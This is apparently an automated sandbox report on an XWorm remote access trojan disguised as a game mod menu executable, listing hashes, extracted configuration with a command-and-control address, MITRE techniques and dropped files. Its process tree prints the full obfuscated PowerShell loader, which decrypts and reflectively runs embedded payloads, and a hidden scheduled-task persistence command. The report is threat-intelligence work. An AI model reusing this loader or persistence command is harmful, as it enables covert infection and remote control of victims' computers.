xworm | 6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c

max time kernel
134s
max time network
146s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
14/05/2024, 11:22

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General

Target

kiddionsmodmenu.exe
Size

386KB
MD5

88e737816cc5f3e3809152c5f9dad5be
SHA1

56dedf42285c74795f714dbac7782a5d0e695a97
SHA256

6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c
SHA512

8d29b5606f91b953263738f03188a56a4c981a6213b53a830bd1e3975ff3d10274704df2dda957fa0b73cd8841947d6e850c6046338b8ebe9666ca895ce0eebd
SSDEEP

12288:hFPdfNMz0ECh63X3u+DnSmMk1B+8kxkpTD:hddFMz0EH3X39DnL3PHkxgn

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

94.156.8.167:2020

Mutex

8sPZSP21r8KwS1LM

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/308-274-0x000000000A400000-0x000000000A40E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	308	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4760	powershell.exe
4736	powershell.exe
308	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4760	powershell.exe
4760	powershell.exe
4760	powershell.exe
4736	powershell.exe
4736	powershell.exe
4736	powershell.exe
308	powershell.exe
308	powershell.exe
308	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeIncreaseQuotaPrivilege	4736	powershell.exe
Token: SeSecurityPrivilege	4736	powershell.exe
Token: SeTakeOwnershipPrivilege	4736	powershell.exe
Token: SeLoadDriverPrivilege	4736	powershell.exe
Token: SeSystemProfilePrivilege	4736	powershell.exe
Token: SeSystemtimePrivilege	4736	powershell.exe
Token: SeProfSingleProcessPrivilege	4736	powershell.exe
Token: SeIncBasePriorityPrivilege	4736	powershell.exe
Token: SeCreatePagefilePrivilege	4736	powershell.exe
Token: SeBackupPrivilege	4736	powershell.exe
Token: SeRestorePrivilege	4736	powershell.exe
Token: SeShutdownPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeSystemEnvironmentPrivilege	4736	powershell.exe
Token: SeRemoteShutdownPrivilege	4736	powershell.exe
Token: SeUndockPrivilege	4736	powershell.exe
Token: SeManageVolumePrivilege	4736	powershell.exe
Token: 33	4736	powershell.exe
Token: 34	4736	powershell.exe
Token: 35	4736	powershell.exe
Token: 36	4736	powershell.exe
Token: SeIncreaseQuotaPrivilege	4736	powershell.exe
Token: SeSecurityPrivilege	4736	powershell.exe
Token: SeTakeOwnershipPrivilege	4736	powershell.exe
Token: SeLoadDriverPrivilege	4736	powershell.exe
Token: SeSystemProfilePrivilege	4736	powershell.exe
Token: SeSystemtimePrivilege	4736	powershell.exe
Token: SeProfSingleProcessPrivilege	4736	powershell.exe
Token: SeIncBasePriorityPrivilege	4736	powershell.exe
Token: SeCreatePagefilePrivilege	4736	powershell.exe
Token: SeBackupPrivilege	4736	powershell.exe
Token: SeRestorePrivilege	4736	powershell.exe
Token: SeShutdownPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeSystemEnvironmentPrivilege	4736	powershell.exe
Token: SeRemoteShutdownPrivilege	4736	powershell.exe
Token: SeUndockPrivilege	4736	powershell.exe
Token: SeManageVolumePrivilege	4736	powershell.exe
Token: 33	4736	powershell.exe
Token: 34	4736	powershell.exe
Token: 35	4736	powershell.exe
Token: 36	4736	powershell.exe
Token: SeIncreaseQuotaPrivilege	4736	powershell.exe
Token: SeSecurityPrivilege	4736	powershell.exe
Token: SeTakeOwnershipPrivilege	4736	powershell.exe
Token: SeLoadDriverPrivilege	4736	powershell.exe
Token: SeSystemProfilePrivilege	4736	powershell.exe
Token: SeSystemtimePrivilege	4736	powershell.exe
Token: SeProfSingleProcessPrivilege	4736	powershell.exe
Token: SeIncBasePriorityPrivilege	4736	powershell.exe
Token: SeCreatePagefilePrivilege	4736	powershell.exe
Token: SeBackupPrivilege	4736	powershell.exe
Token: SeRestorePrivilege	4736	powershell.exe
Token: SeShutdownPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeSystemEnvironmentPrivilege	4736	powershell.exe
Token: SeRemoteShutdownPrivilege	4736	powershell.exe
Token: SeUndockPrivilege	4736	powershell.exe
Token: SeManageVolumePrivilege	4736	powershell.exe
Token: 33	4736	powershell.exe
Token: 34	4736	powershell.exe
Token: 35	4736	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4604 wrote to memory of 2364	4604	kiddionsmodmenu.exe	75
PID 4604 wrote to memory of 2364	4604	kiddionsmodmenu.exe	75
PID 4604 wrote to memory of 2364	4604	kiddionsmodmenu.exe	75
PID 2364 wrote to memory of 3912	2364	cmd.exe	78
PID 2364 wrote to memory of 3912	2364	cmd.exe	78
PID 2364 wrote to memory of 3912	2364	cmd.exe	78
PID 2364 wrote to memory of 4760	2364	cmd.exe	79
PID 2364 wrote to memory of 4760	2364	cmd.exe	79
PID 2364 wrote to memory of 4760	2364	cmd.exe	79
PID 4760 wrote to memory of 4736	4760	powershell.exe	80
PID 4760 wrote to memory of 4736	4760	powershell.exe	80
PID 4760 wrote to memory of 4736	4760	powershell.exe	80
PID 4760 wrote to memory of 4652	4760	powershell.exe	83
PID 4760 wrote to memory of 4652	4760	powershell.exe	83
PID 4760 wrote to memory of 4652	4760	powershell.exe	83
PID 4652 wrote to memory of 3348	4652	WScript.exe	84
PID 4652 wrote to memory of 3348	4652	WScript.exe	84
PID 4652 wrote to memory of 3348	4652	WScript.exe	84
PID 3348 wrote to memory of 3652	3348	cmd.exe	86
PID 3348 wrote to memory of 3652	3348	cmd.exe	86
PID 3348 wrote to memory of 3652	3348	cmd.exe	86
PID 3348 wrote to memory of 308	3348	cmd.exe	87
PID 3348 wrote to memory of 308	3348	cmd.exe	87
PID 3348 wrote to memory of 308	3348	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe
"C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4604
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zS785C.tmp\XClient_Dealed.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\7zS785C.tmp\XClient_Dealed.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:3912
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4760
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_335_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_335.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4736
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_335.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4652
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_335.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3348
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_335.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:3652
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:308

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
a8641a2f94483f12ba0cad0cf02a3bc7

SHA1
fae3e6835336154b90503431279eef6c52a289d2

SHA256
ce70f1a4578b12964dde1e1eef8cb1948847230bf3458dfd41f8e2c32c71c24d

SHA512
5c92772168461d15ef6ed7b5ab2103cb63acfb1540d2d56610bbdd4a3494e866e47a225f6c7a42fa31f9170495dcddfad24533711289a6c3bfa5857a376b3e62

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
6e0282f191c79f44a20b20e94694fbf4

SHA1
4b27321a747e0a101ad610eea7141e73e08def76

SHA256
3eb1c561335fa27fdafde8904443fe03f86148971c1ae9c99e7a271c50544be3

SHA512
aa841fc4c5df9d2c85f0cf2cfff141a59bb0cfc0e12a3a6d5707c4fafeac1a44ad4d849db72eb74055d5593e06bca6af80c02526267d6b66a867116afeb427ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS785C.tmp\XClient_Dealed.bat

Filesize
152KB

MD5
0b426e8571f8d3e437b7a42e9b8fd808

SHA1
986edba4c39be9edb552284dac555e2e95f68a4a

SHA256
9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

SHA512
e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f3ch40uw.ulb.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_335.vbs

Filesize
115B

MD5
833ea493a04236608120b2c676e55781

SHA1
3279cb453bc1cdaf43c4f4c24711054fd377ca14

SHA256
738e0d2d7882647d40301b4a3dd27125cbab66f9429cb2dddc340db9047c49fc

SHA512
7921c803e049e41e23466431938cbe5777004db6383cb22d70a524cbfa0a477ec54beeb33cca9f57c2f2aa1d8790fb7498b0e342a372934a3be5ea227d87ae1f

Download Submit
memory/308-274-0x000000000A400000-0x000000000A40E000-memory.dmp

Filesize
56KB

Download
memory/308-277-0x000000000A4C0000-0x000000000A55C000-memory.dmp

Filesize
624KB

Download
memory/308-283-0x000000000B590000-0x000000000B622000-memory.dmp

Filesize
584KB

Download
memory/4736-104-0x00000000092D0000-0x0000000009303000-memory.dmp

Filesize
204KB

Download
memory/4736-112-0x0000000009800000-0x0000000009894000-memory.dmp

Filesize
592KB

Download
memory/4736-111-0x0000000009560000-0x0000000009605000-memory.dmp

Filesize
660KB

Download
memory/4736-106-0x00000000092B0000-0x00000000092CE000-memory.dmp

Filesize
120KB

Download
memory/4736-105-0x000000006F7E0000-0x000000006F82B000-memory.dmp

Filesize
300KB

Download
memory/4760-14-0x0000000007C90000-0x0000000007CF6000-memory.dmp

Filesize
408KB

Download
memory/4760-18-0x00000000080F0000-0x000000000810C000-memory.dmp

Filesize
112KB

Download
memory/4760-74-0x000000000A580000-0x000000000ABF8000-memory.dmp

Filesize
6.5MB

Download
memory/4760-75-0x0000000009F20000-0x0000000009F3A000-memory.dmp

Filesize
104KB

Download
memory/4760-76-0x0000000009F60000-0x0000000009F68000-memory.dmp

Filesize
32KB

Download
memory/4760-77-0x0000000009F80000-0x0000000009F9E000-memory.dmp

Filesize
120KB

Download
memory/4760-78-0x000000000AC00000-0x000000000B0FE000-memory.dmp

Filesize
5.0MB

Download
memory/4760-38-0x00000000084C0000-0x00000000084FC000-memory.dmp

Filesize
240KB

Download
memory/4760-19-0x0000000008500000-0x000000000854B000-memory.dmp

Filesize
300KB

Download
memory/4760-69-0x0000000009190000-0x0000000009206000-memory.dmp

Filesize
472KB

Download
memory/4760-15-0x0000000007D00000-0x0000000008050000-memory.dmp

Filesize
3.3MB

Download
memory/4760-13-0x0000000007C20000-0x0000000007C86000-memory.dmp

Filesize
408KB

Download
memory/4760-12-0x0000000007350000-0x0000000007372000-memory.dmp

Filesize
136KB

Download
memory/4760-11-0x0000000072C00000-0x00000000732EE000-memory.dmp

Filesize
6.9MB

Download
memory/4760-10-0x0000000007480000-0x0000000007AA8000-memory.dmp

Filesize
6.2MB

Download
memory/4760-9-0x0000000072C00000-0x00000000732EE000-memory.dmp

Filesize
6.9MB

Download
memory/4760-8-0x0000000004C10000-0x0000000004C46000-memory.dmp

Filesize
216KB

Download
memory/4760-279-0x0000000072C00000-0x00000000732EE000-memory.dmp

Filesize
6.9MB

Download
memory/4760-5-0x0000000072C0E000-0x0000000072C0F000-memory.dmp

Filesize
4KB

Download